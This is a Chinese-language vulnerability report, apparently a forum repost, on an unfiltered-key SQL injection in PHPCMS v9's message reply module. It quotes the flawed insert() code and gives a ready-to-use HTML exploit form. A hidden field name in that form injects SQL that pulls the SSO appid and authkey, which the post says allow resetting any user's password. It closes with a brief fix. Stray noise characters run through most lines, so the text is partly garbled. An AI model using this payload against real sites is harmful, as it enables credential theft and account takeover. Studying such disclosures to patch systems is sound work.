|
简要描述:
$ H) U6 t8 w0 [+ a( I
' @! I9 c3 T! S第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。8 y( ]5 J# y5 P, E4 ~& N1 q: P% L
, M7 n) ~: n: M/ O2 G7 x
明天再更新下一个漏洞。! f; G" @) c7 W
详细说明:( N2 L% d0 ~* I$ R7 y. j# c1 I
在/phpcms9/phpcms/modules/message/index.php中有代码如下:8 |3 \6 q) A& T! q8 Y: J
% q$ q* I+ j1 H* O' l! l$ h7 H
$messageid = $this->message_db->insert($_POST['info'],true);. i( ?) i1 e% X9 g2 I
# Z4 Q) w6 G- r; K/ M, Y! L
- }2 \/ l2 l* k4 E, einsert方法是key value的,代码如下:$ M* D) ^2 i \5 M3 R
) o0 {7 l+ K; _; fpublic function insert($data, $table, $return_insert_id = false, $replace = false) {1 R$ {8 t; T4 w/ [6 ?* e
if(!is_array( $data ) || $table == '' || count($data) == 0) {
) I% I" V+ s9 w7 a& H; { return false;# ]6 ]$ [5 _) r7 ?! T
}! D6 N p$ `, J, M$ e) q/ T
, L1 C6 |+ w6 T4 J $fielddata = array_keys($data); _/ }: M, I& Y6 ^* G3 z
$valuedata = array_values($data);$ f, g1 M) Q: f5 D& v
array_walk($fielddata, array($this, 'add_special_char'));' i# v, ^' ^: _
array_walk($valuedata, array($this, 'escape_string'));
% I$ t0 W8 L# i
: }4 N/ L7 L. N2 p9 A9 ~ $field = implode (',', $fielddata);& g) Z' a3 W! `. b7 D4 I% V- @
$value = implode (',', $valuedata);/ t! M- l1 b) Y
5 v; K9 _6 d* y! V* o, G $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
* C; d% J8 B4 f c6 k1 X $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
7 R/ i- _; S. x9 F $return = $this->execute($sql);- g8 u, g8 }' r
return $return_insert_id ? $this->insert_id() : $return;
# K7 Q! N2 n5 I1 x% H) b9 ] }* J3 w7 f' s0 D0 ?
! ~# U4 P) N2 L/ b& [0 h$ N* W' S/ b5 W- y7 \
嗯,很遗憾的是
% n8 Z$ W$ [) a# ~, W( }. U! H7 j8 { s6 O
array_walk($fielddata, array($this, 'add_special_char'));
- |% Q0 r* d; O9 [6 ?/ _9 G `
% I" z+ F& L2 x/ u
) H& S& ~9 h; y. N- w2 E. ]中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
# \, N4 V( g- X; y& Z
2 e. T) q; V! T& |+ |0 b" a+ _8 r到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
- t. F- M% k3 F9 Q- [9 n5 {& `9 R
4 Q/ Z+ m) N- g& C7 p漏洞证明:/ J% m$ E0 [9 h4 a( l$ o
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
# F$ _5 d. D; M" F: U' F6 W3 C* a: H. S; [1 c
1 p. W4 q0 x# G5 S0 H5 Z! L" ]
表单如下:用户名什么的得自己改一改。+ p0 r% k4 h4 k/ ^' Y5 `
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">6 N+ K7 B! t& ~$ c, Q
<table width="100%" cellspacing="0" class="table_form">* N' D' G. O, i( H) ?
<tr>5 k/ C3 d4 }9 m& b( }, a6 w. r
<th>标 题:</th>5 o$ Q8 G+ q% p/ t& p* G) f a
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
. h) s. b9 h$ S" J- ], `; D. z</tr>
" ~" W# ^) h5 q$ v4 P. g, V, q# [<tr>, h# T: h$ a0 a( B% t @/ ^
<th>内 容:</th>
" [- n1 q1 Y8 r! a<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>0 W% D. D, y# P9 V
</tr>' x2 \+ F2 A9 W1 l& c
<input type="hidden" name="info[replyid]" value="2" />
! J8 S, p ~& v8 q<input type="hidden" name="info[send_to_id]" value="cc" />
$ n) i! Z1 {0 t+ b% m% ^ \8 |: U<input type="hidden" name="info[send_from_id]" value="hh">
; l! i, g6 n! o<!-- 漏洞的利用重点在这里开始 -->
6 V3 C( \* d- X4 ~2 n. _ h<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
/ b1 S; E7 H. C3 |& Y" l<!-- 漏洞的利用重点在这里结束 -->
6 P+ s; G. m* R* y1 d( P& L, k4 P6 D<tr>' z/ U0 O; J" d* ?8 O% X1 k
<th>验证码:</th>
" a; o; N; t& i0 R$ h: f6 v<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>' P4 [3 x" U8 c+ ~5 J G
</tr>
+ g( ~, V5 E6 x9 I2 O<tr>
; t1 E, x) v; H! M<td></td>
) G8 ? R' X' q/ N2 U<td colspan="2"><label>
9 a5 Q( |+ h* C9 |2 m, z3 g7 D<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/># d! b: s* N* ^5 X9 M: o( }+ s
</label></td>
5 b% z# O+ C* g# {</tr>* P' h+ R+ d9 K
</table>
. K9 {0 S# w# g1 _& w2 u</form>5 E: `: l& h2 w. C @5 f- c
在add_special_char函数内对key做过滤就可以了。
# z/ [* I' L* y% A3 S# M9 A
- u' |1 N d) G) E% c( r
) T! q( ]6 h6 ^$ x
; A: t4 r$ Y/ J; s# T) l- o5 p |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|